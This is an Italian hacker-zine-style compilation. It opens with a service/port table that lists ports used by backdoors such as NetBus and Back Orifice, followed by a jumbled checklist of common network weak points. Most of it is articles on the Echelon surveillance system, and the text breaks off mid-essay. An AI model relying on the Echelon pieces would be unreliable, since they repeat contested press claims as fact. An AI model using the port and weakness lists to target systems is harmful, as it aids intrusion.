telnet	23/tcp
SMTP	25/tcp
nameserver	42/tcp
whois	43/tcp
tacacs	49/udp
xns-time	52/tcp
xns-time	52/udp
dns-lookup	53/udp
dns-zone	53/tcp
whois++	63/tcp/udp
bootps	67/tcp/udp
bootps	68/tcp/udp
oracle-sqlnet	66/tcp

Servizio o applicazione	Porta/Protocollo
tftp	69/udp
gopher	70/tcp/udp
finger	79/tcp
http	80/tcp
alternate web port (http)	81/tcp
kerberos or alternate web port (http)	88/tcp
pop2	109/tcp
pop3	110/tcp
sunrpc	111/tcp
sqlserv	118/tcp
nntp	119/tcp
ntp	123/tcp/udp
ntrpc-or-dce (epmap)	135/tcp/udp
netbios-ns	137/tcp/udp
netbios-dgm	138/tcp/udp
netbios	139/tcp
imap	143/tcp
snmp	161/udp
snmp-trap	162/udp
xdmcp	177/tcp/udp
bgp	179/tcp
snmp-checkpoint	256/tcp
ldap	389/tcp
netware-ip	396/tcp
timbuktu	407/tcp
https/ssl	443/tcp
ms-smb-alternate	445/tcp/udp
ipsec-internet-key-exchange(ike)	500/udp
exec	512/tcp
rlogin	513/tcp
rwho	513/udp
rshell	514/tcp
syslog	514/udp
printer	515/tcp
printer	515/udp
talk	517/tcp/udp
ntalk	518/tcp/udp
route	520/udp
netware-ncp	524/tcp
irc-serv	529/tcp/udp
uucp	540/tcp/udp
klogin	543/tcp/udp
mount	645/udp
remotelypossible	799/tcp
rsync	873/tcp

Servizio o applicazione	Porta/Protocollo
samba-swat	901/tcp
w2k rpc services	1024-1030/tcp 1024-1030/udp
kpop	1109/tcp
socks	1080/tcp
bmc-patrol-db	1313/tcp
notes	1352/tcp
timbuktu-srv1	1417-1420/tcp/udp
ms-sql	1433/tcp
citrix	1494/tcp
sybase-sql-anywhere	1498/tcp
funkproxy	1505/tcp/udp
ingres-lock	1524/tcp
oracle-srv	1525/tcp
oracle-tli	1527/tcp
pptp	1723/tcp
winsock-proxy	1745/tcp
radius	1812/udp
remotely-anywhere	2000/tcp
cisco-mgmt	2001/tcp
nfs	2049/tcp
compaq-web	2301/tcp
sybase	2368
openview	2447/tcp
realsecure	2998/tcp
nessusd	3001/tcp
ccmail	3264/tcp/udp
ms-active-dir-global-catalog	3268/tcp/udp
bmc-patrol-agent	3300/tcp
mysql	3306/tcp
ssql	3351/tcp
ms-termserv	3389/tcp
cisco-mgmt	4001/tcp
nfs-lockd	4045/tcp
rwhois	4321/tcp/udp
postgress	5432/tcp
secured	5500/udp
pcanywhere	5631/tcp
vnc	5800/tcp
vcn-java	5900/tcp
xwindows	6000/tcp
cisco-mgmt	6001/tcp
arcserve	6050/tcp
apc	6549/tcp
irc	6667/tcp

Servizio o applicazione	Porta/Protocollo
font-service	7100/tcp/udp
web	8000/tcp
web	8001/tcp
web	8002/tcp
web	8080/tcp
blackice-icecap	8081/tcp
cisco-xremote	9001/tcp
jetdirect	9100/tcp
dragon-ids	9111/tcp
iss system scanner agent	9991/tcp
iss system scanner console	9992/tcp
stel	10005/tcp
netbus	12345/tcp
trinoo_bcast	27444/tcp
trinoo_master	27665/tcp
quake	27960/udp
backorifice	31337/udp
rpc-solaris	32771/tcp
snmp-solaris	32780/udp
reachout	43188/tcp
bo2k	54320/tcp
bo2k	54321/udp
netprowler-manager	61440/tcp
pcanywhere-def	65301/tcp

Appendice B

I 14 punti più vulnerabili

3. Le informazioni che trapelano possono indicare all'aggressore: tipo e versione del sistema operativo e di altre applicazioni, utenti, gruppi, condivisioni, informazioni sul DNS (scarico della zona) e i servizi attivi, come SNMP, finger, SMTP, telnet, ruser, sunrpc e NetBIOS.

4. L'esecuzione di servizi non necessari, (come RPC, FTP, DNS o SMTP) su alcuni host lascia aperte altre vie di accesso.

7. Server Internet configurati male, in particolare script CGI, ASP e FTP anonimo con directory world-writable.

5. Password deboli, scontate e riutilizzate sulle workstation possono segnare il destino dei server.

12. Servizi non autenticati, come X-Windows, permettono agli utenti di catturare le battute di un tasto da remoto.

Server Internet interni

8. ACL configurate male su router e firewall possono consentire l'accesso ai sistemi interni direttamente o attraverso un server manomesso.

Workstation

10. Troppi controlli sull'accesso a file e directory (condivisioni NT ed esportazioni NFS UNIX).

LAN interna

13. Funzionalità di registrazione, monitoraggio e intercettazione non adeguate sulla rete e sui singoli host.

14. Mancata definizione o accettazione di politiche, procedure, linee guida e standard minimi sulla sicurezza.

Internet

Router di confine

Firewall

Router interno

Linee dedicate

LAN interna

1. Controllo degli accessi sul router non adeguato: ACL configurate male sul router possono lasciar trapelare informazioni attraverso ICMP, IP e NetBIOS e consentire accessi non autorizzati ai servizi dei server interni.

Server di accesso remoto

Workstation

9. Software non aggiornato, datato, vulnerabile o installato con impostazioni standard, specialmente server Web.

Filiale

Connessione telefonica

11. Relazioni fiduciarie troppo aperte (per esempio, Domain Trust di NT o file .rhosts e hosts.equiv sotto UNIX) possono consentire agli intrusi l'accesso non autorizzato a sistemi delicati.

2. I punti di accesso remoto non protetti e non controllati costituiscono una delle vie di accesso più immediate alla rete aziendale. Gli utenti telefonici spesso si connettono a Internet con una bassa protezione, esponendo ad attacchi i file sensibili.

6. Account utente o di prova con eccessivi privilegi.

Utente mobile/domestico

Indice analitico

b

c

t

U

V

W

Echelon-Il grande orecchio

L' argomento non è molto complesso, però mi è sembrato giusto dividere l' articolo in varie parti per facilitarne la lettura.
Quello che leggerete sarà frutto di una rielaborazione di articoli apparsi sulla rete, anche se il cut&paste l' ho usato solo per alcune parti in cui non c' era davvero nulla da modificare.
Enjoy!
{Cujo}

Introduzione

Al giorno d' oggi, la privacy sembra essere uno dei valori fondamentali per l' esistenza di una persona.Si è addirittura arrivati ad istituire un garante che vigilasse sulle eventuali violazioni di questo diritto.Per questo la messa in onda di trasmissioni come “The big brother” o “Survival” scandalizzano l' opinione pubblica.In realtà la vita quotidiana non è molto diversa, basti pensare alle centinaia di telecamere di sicurezza che ci filmano nelle banche o nei negozi, ma i benpensanti e la società bigotta continuano ad ostentare la loro ottusità.Per quanto riguarda l' ambito delle comunicazioni le cose sono messe anche peggio.Dubito che molti di voi non sappiano cosa sia Echelon, dato che nelle settimane passate ha scatenato molteplici polemiche.Echelon non è nient' altro che quello che i paranoici temevano (speravano?) da molto tempo.E' vero, esiste un sistema di sicurezza che è capace di captare qualsiasi tipo di comunicazione, sia essa telefonica o telematica (e-mai e fax in cima alla lista).

The story so far.....

La “ nostra cara “ NSA lavora da anni a questo progetto, e la sua esistenza non è assolutamente oscura alle alte cariche Stato.Pensate solo che la “ Lady di Ferro” Margaret Thatcher utilizzava questa enorme rete di ricezione per spiare i suoi collaboratori.Durante la campagna elettorale dell' 83, infatti, si rivolse all' Intelligence service e il famoso “ Mister M “ (no, non è una leggenda di 007, esiste davvero! =)) si rivolse ai partner canadesi del Cse che insieme ad australiani e neozelandesi si stabilirono in un locale superprotetto a Londra dove installarono la loro base operativa.

Solamente in questi ultimi tempi, però, cominciano a venire a galla le prime dichiarazioni da parte dei diretti interessati.

L'Electronic Privacy Information Center (EPIC) [un centro di ricerca nato a Washington nel 1994 per sensibilizzare l'attenzione sulle libertà civili e la tutela della privacy, che si appoggia al FOIA. n.d. Me ;-)] ha chiesto il 3 dicembre scorso ad un tribunale federale di disporre la diffusione di documenti controversi relativi a possibili attività di sorveglianza condotte su cittadini americani. La causa promossa dall'EPIC intende giungere alla pubblicazione di documenti riservati della NSA (National Security Agency) nei quali si analizzano i presupposti giuridici delle attività di sorveglianza effettuate dal servizio di sicurezza americano.

La NSA aveva rifiutato, all'inizio dell'anno, di fornire questa documentazione alla Commissione parlamentare sui servizi segreti, e ciò aveva portato ad una censura pubblica (fatto insolito) dell'agenzia di spionaggio. Il deputato Porter J. Goss, presidente del collegio di controllo, scrisse in una relazione della Commissione pubblicata a maggio che la motivazione con cui la NSA aveva giustificato il rifiuto di fornire le osservazioni giuridiche in oggetto era "poco convincente e opinabile". Rilevava che se i legali della NSA "interpretano in modo eccessivamente permissivo i poteri della NSA, potrebbero nascerne pericoli per il diritto alla privacy dei cittadini USA". A breve distanza dalla pubblicazione della relazione della Commissione, EPIC ha presentato alla NSA una richiesta di esibizione della documentazione in oggetto ai sensi della Legge sulla libertà di informazione (FOIA). Nonostante il FOIA fissi un limite di 20 giorni lavorativi per la risposta, la NSA non ha ottemperato alla richiesta dell'EPIC.

Il direttore dell'EPIC, Marc Rotenberg, ha dichiarato che "lo statuto della NSA non consente la raccolta di informazioni su privati cittadini. Tuttavia, abbiamo ragione di credere che la NSA stia acquisendo e intercettando in modo indiscriminato comunicazioni private condotte via Internet".

Da qualche tempo le attività di sorveglianza della NSA sono seguite con maggiore attenzione, e secondo alcuni studi la NSA sta coordinando una grossa iniziativa di intercettazione a livello mondiale denominata ECHELON. Nell'ultimo numero del The New Yorker Magazine, si afferma che alla NSA sono bastati 11 mesi di registrazioni del traffico su Internet per esaurire una capacità di memoria progettata per durare tre anni.

Il fondamento giuridico delle attività di intercettazione della NSA costituisce un tema chiave che EPIC intende esaminare in un ampio studio che verrà pubblicato all'inizio del prossimo anno.

Lo studio sarà condotto da Duncan Campbell, giornalista e produttore televisivo scozzese. All'inizio di quest'anno, Campbell è stato nominato consulente del Parlamento europeo ed ha preparato un'analisi su ECHELON e l'attività di sorveglianza delle comunicazioni, in cui erano contenute le prime prove documentarie del sistema di sorveglianza globale. Nei prossimi mesi Campbell collaborerà con EPIC all'elaborazione di un rapporto che sarà presentato durante le audizioni che si prevede terrà il Congresso in materia di servizi segreti, quarto emendamento e diritti dell'uomo.

The story so far...#2

Nessuno ne parla. I documenti sono stati cancellati dalla banca dati. Ma Bruxelles sta studiando un protocollo per le intercettazioni. Le uniche tracce le ha trovate una rivista telematica tedesca. E subito è scoppiata la polemica.

La denuncia di Barr è fondata. Nelle scorse settimane, dopo una coraggiosa campagna stampa del quotidiano Ekstra Bladet, la Danimarca è stato il primo paese europeo ad ammettere il coinvolgimento fin dal 1950 nel progetto Echelon, seppure come "parte terza": scambia cioè le informazioni solo dopo l'assenso americano e successivamente quello degli altri quattro alleati. E l'Italia? Il comitato di controllo sui servizi segreti sta ancora indagando, così come sta cercando di scoprire qualcosa la procura di Roma. Nel rapporto di Campbell al Parlamento europeo c'è però già una prima importante indicazione: la base Usa di San Vito dei Normanni, in Puglia, viene utilizzata dal '64 per le intercettazioni radio ad alta frequenza assieme a quella di Chicksands, in Inghilterra, e Karamursel, in Turchia. "Non c'è dubbio che Echelon opera in violazione delle leggi

europee sulla privacy" sostiene David Soble, direttore dell'Electronic privacy information center. "Questa è la preoccupazione principale. Poi, naturalmente, c'è lo spionaggio economico".

La guerra fredda aveva fatto crescere a dismisura la Nsa e le agenzie collegate. Il crollo del Muro di Berlino le ha gettate nel panico, senza più una missione per giustificarne l'esistenza e il ricco budget. "Prima l'amministrazione di George Bush e poi quella di Bill Clinton sono corse in aiuto riuscendo a trovare il nuovo nemico: non più i comunisti, ma i capitalisti competitori" dichiara a Panorama Patrick Poole, il maggiore esperto di sorveglianza elettronica. "Per i due presidenti si è trattato solo della naturale estensione del concetto che ciò che è buono per l'industria americana è buono anche per gli Usa.

I casi citati nei rapporti presentati al Parlamento europeo sono numerosi. Si parte dal 1993, con la testimonianza di Howard Teicher, un ex funzionario del National security council americano, il quale ha rivelato che la stazione di Menwith Hill aveva messo nel mirino il consorzio europeo Panavia per le vendite dei Tornado in Medio Oriente. Un anno dopo, la Nsa intercettò alcune telefonate fra i manager della società francese Thomson-Csf e le autorità governative brasiliane per la vendita di un sistema radar Sivam, del valore di 1,3 miliardi di dollari, destinato all'Amazzonia. Nelle telefonate si accennava alle tangenti da pagare ad alcuni ministri. L'amministrazione Clinton informò la Raytheon corporation, una delle aziende legate al progetto Echelon, che fu in grado di fare un'offerta migliore e di vincere il ricco contratto.

Nel 1995 da un satellite commerciale di comunicazioni la stazione di ascolto inglese riuscì a intercettare i fax e le telefonate fra il quartier generale del consorzio europeo Airbus, la compagnia di bandiera saudita e alcuni principi della monarchia guidata da re Fahd. I contatti riguardavano l'acquisto degli aerei europei. L'informazione fu subito trasmessa a Boeing e McDonnell Douglas, che, nemmeno a dirlo, alla fine hanno trionfato: nel 1998 si sono aggiudicate l'affare con un contratto di 6 miliardi di dollari.

Nel documento di Campbell ci sono nomi, date, luoghi, tecniche del Grande orecchio: la costante intercettazione dei diplomatici italiani e francesi dalle centrali di Chicksands e Cheltenhem, in Gran Bretagna, lo spionaggio sulle ricerche che riguardavano gli standard di emissione delle auto giapponesi, il monitoraggio sui negoziati per le importazioni di vetture di lusso dal Giappone e su quelli per il Gatt attraverso il controllo delle telefonate tra il presidente francese François Mitterrand e quello della commissione europea, Jacques Delors.

Nemmeno il ricorso alla decrittazione evita di essere spiati. Nei documenti presentati alla Commissione Ue si spiega come alcune società, fra cui Microsoft, Lotus e Netscape, hanno permesso al governo Usa di indebolire la codificazione dei propri software. Non solo: uno degli obiettivi più importanti della Nsa è stata un'azienda svizzera, la Crypto Ag, che fornisce i codici diplomatici e militari a più di 130 paesi. Gli 007 americani sono riusciti a infiltrare l'azienda direttamente attraverso il proprietario-fondatore, Boris Hagelin.

E Internet? Anche la rete, simbolo di democrazia, è intrappolata: gli americani hanno bloccato nove centrali strategiche di smistamento di Internet con software in grado di controllare il traffico. Le stesse linee telefoniche sottomarine vengono costantemente monitorate, soprattutto quelle fra Europa e Africa sotto il Mediterraneo. ('azz!)
Non c'è niente che si possa fare contro le intrusioni della Nsa oltre il bombardamento di e-mail organizzato lo scorso 21 ottobre nel cosiddetto Echelon day? Per il momento la sfida più concreta sembra venire dalla Francia, dove uno studio legale ha annunciato un'azione

penale e civile contro il governo Usa e quello britannico in rappresentanza di gruppi che si occupano dei diritti civili e di aziende che hanno denunciato di aver perso una serie di contratti a causa del "furto di informazioni".

Articolo di Gian Antonio Righi-Tratto da Panorama OnLine

Lo scandalo in USA

Dopo il rapporto presentato al parlamento europeo una settimana fa, arrivano le prime, clamorose conferme e rivelazioni su Echelon e sugli abusi commessi utilizzando il network satellitare. Sono ex spie canadesi e americane a parlare per la prima volta. Mike Frost, che ha lavorato per l'intelligence canadese dal 1972 al 1992, ha raccontato alla televisione americana Cbs come la Thatcher si sia servita, a scopi di politica interna, di Echelon. «Non pensate che sia fantascienza. Qualsiasi cosa, dal trasferimento dei dati alle telefonate via cellulare fino ai bancomat e alle radio portatili che controllano le culle dei neonati, tutto viene captato dalle antenne e dai satelliti di Echelon» ha rivelato Frost. (ragazzi, qui stiamo messi proprio male...)

Che il Grande Orecchio sia un pericolo per la democrazia e per la privacy dei cittadini lo ha confermato un'altra ex spia, Margaret Newsham, che ha vissuto per anni nella base top secret inglese di Menwith Hill, la più importante, gestita direttamente dalla Nsa americana. «Quando arrivai lì ero convinta che avrei ascoltato conversazioni in russo, cinese o vietnamita. No, non era proprio così. Un giorno un mio collega mi disse: "Margaret vieni qui, ti faccio ascoltare qualcosa di veramente interessante". Presi la cuffia e mi rivolsi al mio amico: "Ma questi sono due americani". "Certo" mi fa lui. "Chi è quello che parla come un capo?". "Non lo conosci? È il senatore Strom Thurmond, sta telefonando dal suo ufficio al Congresso". Ecco cosa è capace di fare la Nsa: spiare anche i politici».

Già un anno fa, la National security agency, l'agenzia più segreta dell'apparato spionistico americano, quella che ha più fondi e più uomini della stessa Cia, fu costretta ad ammettere di conservare nei suoi archivi ben mille pagine di informazioni su Lady Diana. Perché?
Una terza spia, un ex funzionario della Nsa, Wayne Madsen, ha raccontato nei giorni scorsi che «la principessa Diana, nella sua campagna contro le mine, entrò in conflitto con la politica americana. Ecco perché la sua attivita' era di interesse primario per gli Stati Uniti. Ed ecco perché la Nsa la intercettava 24 ore al giorno».

Non solo: quando gli spioni americani ritenevano che superasse i limiti, facevano arrivare alcuni brani delle conversazioni private di Diana ai tabloid inglesi. «Vi sembra strano? Vi sembra un film? Questo non è un romanzo di spionaggio. Questa è la realtà. Questo è il modo in cui Echelon funziona» conclude l'ex agente Frost. «Io lo so perché sono stato là, sono stato addestrato, ho lavorato per questo progetto che minaccia tutti: dai due ministri inglesi fino all'ultimo cittadino».

E qui da noi?

Lo STOA (Scientific and Technological Options Assessment) e' un' unita' del Direttorato Generale della Ricerca, con sede a Strasburgo, che ha lo scopo istituzionale di fornire un supporto conoscitivo e orientativo a carattere tecnico-scientifico ai lavori del Parlamento Europeo. Le problematiche trattate da questa task-force di esperti vanno dalla medicina all'agricoltura, dall'urbanistica alle tecnologie di informazione e comunicazione, ecc...

Il rapporto intitolato "Valutazione delle tecnologie di controllo politico" afferma perentoriamente che "In Europa tutte le telefonate, i fax e i test di posta elettronica sono regolarmente intercettati, e dal centro strategico inglese di Menwith Hill le informazioni di interesse vengono trasferite al quartier generale della National Security Agency, l'agenzia di spionaggio elettronico americana".

Il network globale di spionaggio civile (ed è questa la grande novità !), fortunatamente, ha anche un nome suggestivo e per i giornali di tutto il mondo è un invito a nozze: in Italia "il Mondo" è il primo a sparare la notizia in prima pagina e a dare il via ad un domino inarrestabile di reazioni che non risparmierà neanche la magistratura, il nostro Parlamento e l'Ufficio del Garante per la privacy. Tutti si interrogano sulla liceità dell'operazione e sul ruolo che una tale struttura a potuto avere nella copertura dei "misteri italiani" da Ustica al caso Moro. Ma nessuno si domanda quali siano le fonti del rapporto.

Solo *Libération* punta il dito sulla credibilità del rapporto, affermando che è costruito soltanto su fonti indirette e giornalistiche: *Somebody's listening* (inchiesta del 1981 del giornalista inglese Duncan Campbell), Secret Power (libro cult del 1996 del neozelandese Nicky Hager), *The Puzzle Palace* (libro del 1982 del giornalista americano James Bamford che descrive il pre-Echelon), l'agenzia *Reuters*, il *Telegraph*, il *Times*, il *Guardian* e poi le denunce di Amnesty International, della rivista di contro informazione Covert Action Quarterly, di Privacy International e di Statewatch, organizzazione inglese di monitoraggio sulle libertà politiche.

Cronologia degli avvenimenti

Anno	**Avvenimenti**
1943	si forma l'allanza BRUSA, BRitain - USA
1947	si forma l'alleanza UKUSA, United Kingdom - USA
1957	Affare Crypto AG
1988	La prima volta in cui viene mensionato ECHELON.
1996	backdoor nel software Lotus Notes

1998	Il Parlamento europo riceve il rapporto su Echelon
1999	Nuovo rapporto su ECHELON

Sembrerebbe (da quanto riferito da "La Repubblica") che Il rapporto Stoa sia stato voluto e commissionato alla Omega Foundation da Glyn Ford, deputato laburista del Parlamento europeo e direttore di Stoa. Il suo lavoro di lobby ,tra gennaio e settembre 1998, quando il Parlamento europeo vota una risoluzione, è intenso. Soprattutto in Inghilterra, tra verdi, laburisti, organizzazioni non governative, gruppi e associazioni della galassia dell'anti militarismo e delle battaglie per la privacy. La lobby di Ford non ottiene però buoni risultati sul piano politico, solo il titolo e un brevissimo accenno a Echelon nella Risoluzione che il Parlamento europeo vota nel settembre 1998. La "Risoluzione sulle relazioni transatlantiche e il sistema Echelon" riguarda una serie di problemi commerciali tra Ue e Usa e solo al punto 14, il penultimo, recita: "La crescente importanza di Internet e delle telecomunicazioni mondiali in genere, e del sistema Echelon in particolare, richiedono misure precauzionali per quanto concerne le informazioni economiche".
Solo un europarlamentare belga avanza un'ipotesi, e suggerisce che il sistema di intercettazioni Echelon sia coperto da accordi bilaterali segreti tra i vari paesi della Ue e gli Stati Uniti.

E qui da noi? #2

< areeechelon.gif>

Nella cartina, la struttura dei centri d'ascolto noti di Echelon e le cinque aree territoriali che controllano attraverso un sistema di satelliti

Ci si arriva da Manchester o da Edimburgo lungo le stradine dello Yorkshire. All'improvviso spuntano enormi globi bianchi. Se ne vedono 25 e ciascuno nasconde un'antenna puntata verso un satellite. Sembra una base lunare. Poi si nota un po' di vita, qualche guardia davanti ai recinti, alcune auto che entrano ed escono. Poco più in là si intravedono diversi edifici stile caserma. Dentro ci lavorano 1.500 statunitensi e un migliaio di britannici, che, 24 ore al giorno, maneggiano i computer più avanzati e gli strumenti di ascolto più sofisticati del mondo. Benvenuti a Menwith Hill, sperduta landa del nord dell'Inghilterra, uno dei posti più segreti del pianeta. E anche dei più controversi.

È qui che da oltre 50 anni opera Echelon. Sebbene ufficialmente di proprietà della Raf, la stazione è gestita dalla National security agency, la più imponente centrale americana di spionaggio, incaricata della sorveglianza elettronica, con un budget di 4 miliardi di dollari l'anno (uno più della Cia) e 40 mila agenti. Echelon è un progetto così segreto che, fino a qualche settimana fa, nessuna autorità politica ne aveva neppure ammesso l'esistenza. Ora una serie di rapporti declassificati confermano non solo che le intercettazioni elettroniche globali vanno avanti dagli anni della guerra fredda, ma che Echelon è stato potenziato negli ultimi dieci anni con stazioni di ascolto sparse in tutti i continenti, capaci di catturare e analizzare ogni telefonata, fax, telex, e-mail, spedito via satellite o via Internet in un posto qualsiasi del mondo. Attraverso un software chiamato N-gram, le cyber-spie possono scandagliare l'imponente traffico usando parole chiave o combinazioni di parole come Clinton, droga, bomba, terrorismo, contratto, Wall Street e via dicendo.

Ancora più allarmanti sono i rapporti di due esperti, il giornalista inglese Duncan Campbell e Nikos Bogonikolos della società Zeus, che da martedì 22 febbraio vengono esaminati e discussi dalla commissione Libertà civili e affari interni del Parlamento europeo. Nei due documenti, destinati a riattizzare il fuoco di polemiche dell'Ue contro gli Stati Uniti, ma anche contro la Gran Bretagna, che si trova nella posizione singolarissima di essere contemporaneamente membro dell'Ue ma anche del progetto anglosassone, la conclusione è che Echelon è attualmente utilizzato soprattutto per lo spionaggio economico, per avvantaggiare cioè le imprese americane a danno di quelle europee e asiatiche.

Più in generale, è abusato dalle agenzie spionistiche dei cinque paesi di lingua inglese per controllare singoli individui, in palese violazione delle rispettive costituzioni e leggi. Ecco perché dopo il Parlamento europeo, presto anche il Congresso americano aprirà un'inchiesta sulla Nsa. "Sono stupito" dice il deputato repubblicano della Georgia, Bob Barr, paladino della guerra a Echelon "che i paesi che operano assieme alla Nsa non abbiano finora chiesto di essere informati. E sono ancor più stupito perché, secondo le mie informazioni, vi partecipano tutti i paesi europei".

Articolo di Laura Ronchi

Links

Tactical Media Crew

Paul Wolf (attivista delle libertà civili)

Control.alt del Tactical Media Crew

Echelon, un lavoro sporco su Disinformation

Stati Uniti, National Security Agency

Gran Bretagna, Government Communications Head Quarters

Canada, Communications Security Establishment

Australia, Defense Signals Directorate

Base americana di Menwith Hill

13th Usasa Field Station sito ufficiale dell'associazione di Menwith Hill

Base di Pine Gap in Australia.

Base di Yakima nello stato di Washington

Spero vi sia piaciuto questo articolo, anche se ci sia ancora poca carne al fuoco.Spero di poter scrivere un altro articolo sull' argomento appena se ne saprà di più.

E ricordate, non siamo mai soli!!!

ByeZ

{Cujo}

- Introduzione. -
Siamo veramente liberi?
Libertà significa avere la facoltà di vivere liberamente, di muoversi, di agire in modo autonomo, secondo la propria volontà e la propria natura, senza essere sottoposti a limitazioni o costrizioni.
Libertà significa essere un individuo indipendente dalla potestà di un soggetto superiore, in particolare dello Stato, nell'esercizio di attività garantite come lecite dall'ordinamento.
Ma siamo veramente liberi?
Noi tutti, cittadini dell'Europa, abbiamo faticosamente imparato cosa vuol dire essere liberi, ma adesso siamo in pericolo di perdere di nuovo tante di queste libertà.
Oggi gli Stati Uniti, la Gran Bretagna, il Canada , l'Australia e la Nuova Zelanda ci tengono sotto controllo!
A rivelarlo ufficialmente è un recentissimo rapporto dello Stoa, della Direzione generale ricerca del Parlamento Europeo, secondo il quale ogni telefonata, ogni messaggio di posta elettronica, criptato o meno, può essere intercettato, selezionato, decodificato e inserito in una potentissima banca dati computerizzata comune ai cinque Paesi in questione.
Ufficialmente gli accordi servono alla lotta contro i grandi criminali ed alla protezione della sicurezza nazionale, ma coinvolgono tutta l'umanità.
Il concetto di questo sistema è di registrare automaticamente ogni scambio di informazione - sia tramite telefono o cellulare,
sia tramite fax, e-mail o ogni altra forma di posta elettronica.
L'applicazione di questa tecnologia, implica sia il controllo dell'intera rete di comunicazione e di dati sia l'elaborazione di un profilo dei movimenti di un utente di cellulare. Sarebbe corretto, che ogni intercettazione di comunicazione telefonica fosse oggetto di autorizzazione preliminare, conformemente alle prescrizioni del Parlamento interessato. Ma nella maggior parte dei casi i servizi di polizia e di informazione non dovrebbero poter avvalersi di AUTO-autorizzazioni all'intercettazione, salvo quei casi molto particolari che dovrebbero comunque essere oggetto di comunicazione all'autorità che rilascia le autorizzazioni non appena possibile.
I Paesi che non sono disposti ad accettare queste condizioni vengono sorvegliati contro la loro volontà, visto che le tecniche di intercettazione sono già incorporate nei sistemi di comunicazione esistenti come per esempio le linee ISDN.
1. TECNOLOGIE DI SORVEGLIANZA.
Le tecnologie di sorveglianza possono essere definite come dispositivi o sistemi di monitoraggio per tracciare e valutare i movimenti degli individui, delle loro proprietà e di altri averi. La maggior parte di queste tecnologie è usata per controllare le attività di dissidenti, attivisti dei diritti umani, giornalisti, leader studenteschi, minoranze, leader sindacali e oppositori politici. Tra le tante apparecchiature sofisticate usate per la sorveglianza, sono incluse le lenti a visione notturna, microfoni parabolici per captare conversazioni a voce a oltre un chilometro di distanza, versioni laser che possono registrare ogni conversazione da una finestra chiusa che si trovi in linea visuale. La camera stroboscopica danese Jai può prendere centinaia di foto in pochi secondi e fotografare individualmente tutti i partecipanti a una dimostrazione o a una marcia e i sistemi automatici di riconoscimento dei veicoli possono tracciare le auto in giro per una città attraverso un Sistema Informatico Geografico basato su mappe.
Nella sorveglianza urbana, esistono sistemi automatici di riconoscimento delle facce. Essi saranno inizialmente introdotti in postazioni statiche, come cancelli girevoli, punti doganali, cancelli automatici, parti delle città a rischio, etc, per rendere possibile la scansione di una folla e comparare le facce immagazzinate in un computer remoto. Questi sistemi di sorveglianza sollevano significativi problemi di responsabilità, particolarmente quando trasferiti a regimi autoritari. Le camere usate nella piazza Tienanmen erano state vendute come sistemi avanzati per il controllo del traffico, ma dopo il

massacro di studenti nel 1989, ne consegui' una caccia alle streghe quando le autorità torturarono e interrogarono migliaia di persone nello sforzo di scovare i sovversivi.
Ecco come ogni persona, perde i propri diritti se solo si trova nel posto sbagliato al momento sbagliato!
2.RETI DI INTERCETTAZIONE.
C'è stato uno spostamento politico degli obiettivi negli ultimi anni. Invece di investigare sul crimine, le agenzie di polizia stanno sempre più tracciando determinate classi sociali e determinate razze di persone che vivono nelle aree a rischio - prima che il crimine sia commesso - una forma di polizia preventiva. Senza crittazione, i moderni sistemi di comunicazione sono virtualmente trasparenti di fronte alle avanzate apparecchiature di intercettazione che possono essere usate per l'ascolto.
Tutti i telefoni mobili in un paese, quando attivati, sono un ottimo mezzo per rintracciare i loro possessori in ogni momento, con un margine d'incertezza di poche centinaia di metri. Anche se nessuno nega il ruolo di queste reti nelle operazioni antiterrorismo e contro il traffico illegale di droga, il lavaggio di denaro sporco e le compravendite illecite di armi, bisogna ugualmente esprimere il proprio allarme per quanto concerne la protezione dei dati personali e per la salvaguardia della PRIVACY.
La possibilità di intercettare qualsiasi comunicazione è unita ad una crittografia troppo debole, che rende insicuro qualsiasi mezzo di trasmissione e permette agli Stati Uniti di spiarci senza alcun nostro controllo.
La FRANCIA non ritiene che la liberazione della crittografia, possa ostacolare le attività di indagine delle Forze dell'ordine, e annuncia delle linee guida, quali:
· liberalizzazione completa dell'uso della crittografia;
· impiego di chiavi da 128 bit (in precedenza erano consentite chiavi da soli 40 bit);
· eliminazione del ricorso obbligatorio alle Entità di certificazione per il deposito delle chiavi;
· Emanazione di norme sull'obbligo di decifrazione dei documenti a richiesta dell'Autorità Giudiziaria;
· Gli Stati Uniti, pero', sono il paese che detiene la leadership in materia di crittografia, e anche se all'estero ci sono fior di scienziati, non c'è nessun altro stato che ha investito in modo cosi' massiccio nello sviluppo dei sistemi di intercettazione.
Siamo dunque seri, vogliamo credere che si possa impedire facilmente agli americani di ficcare il naso negli affari di tutto il mondo? Una crittografia può rendere solo più complessa, e a volte inutile, l'attività dell'intercettazione, ma non impedirla.
Esistono essenzialmente due sistemi separati, precisamente:
1. Il sistema UKUSA che comprende le attività di agenzie di intelligence militare come NSA - CIA negli USA che incorpora GCHQ e M16 in UK, che operano congiuntamente un sistema conosciuto come ECHELON
2. Il Sistema EU- FBI che concatena assieme varie agenzie di ordine pubblico come FBI, polizia di stato, dogane, immigrazione e sicurezza interna.

"IL SISTEMA ECHELON".
COS'E'?
Echelon è un sistema di controllo mondiale sviluppato e coordinato dalla NSA americana (National Security Agency).
L'Echelon fa parte di un sistema di spionaggio sviluppato durante la guerra fredda, in seguito all'accordo "Ukusa" del 1947 tra gli Stati Uniti e la Gran Bretagna. Il Canada, l'Australia e la Nuova Zelanda, partecipano, accanto agli Stati Uniti, a questo progetto. Questo sistema d'informazione è stato descritto per la prima volta dal neozelandese Nicky Hager, nel suo libro "Segret Power ". L'inchiesta di Hager e le sue scoperte sui "dizionari" di Echelon, hanno portato alla luce uno dei maggiori e più segreti progetti dei servizi di intelligence.
COME FUNZIONA?

Il primo componente di questo sistema è costituito dalle cinque grandi basi Ukusa, da cui vengono intercettate le comunicazioni che passano attraverso i 25 satelliti geostazionari Intelsat, usati dalle compagnie telefoniche di tutto il mondo per le comunicazioni internazionali.
L'ultima generazione di satelliti spia, è costituita da tre nuovi "bird" geosincronici, messi in orbita negli ultimi quattro anni.
Quello che copre l'Europa, staziona in orbita a 22.300 miglia di altitudine sopra il Corno dell'Africa ed è controllato dalla base terrestre inglese di Menwith Hill, nel nord del Yorkshire, che con i suoi 22 terminali satellitari è la più grande della rete Ukusa. Il sistema Ukusa è costituito da una griglia di super computer in rete - battezzati "dizionari"- capaci di assorbire, esaminare, filtrare in tempo reale enormi quantità di messaggi digitali e analogici, estrapolare quelli contenenti ognuna delle parole - chiave programmate, decodificarli e inviarli automaticamente al quartier generale del servizio di intelligence dei cinque paesi interessati ai messaggi.
Periodicamente i dictionary manager , cambiano la lista delle parole chiave, inserendone delle nuove a seconda dei temi politici del periodo.
Ecco ad esempio un elenco di parole chiave:
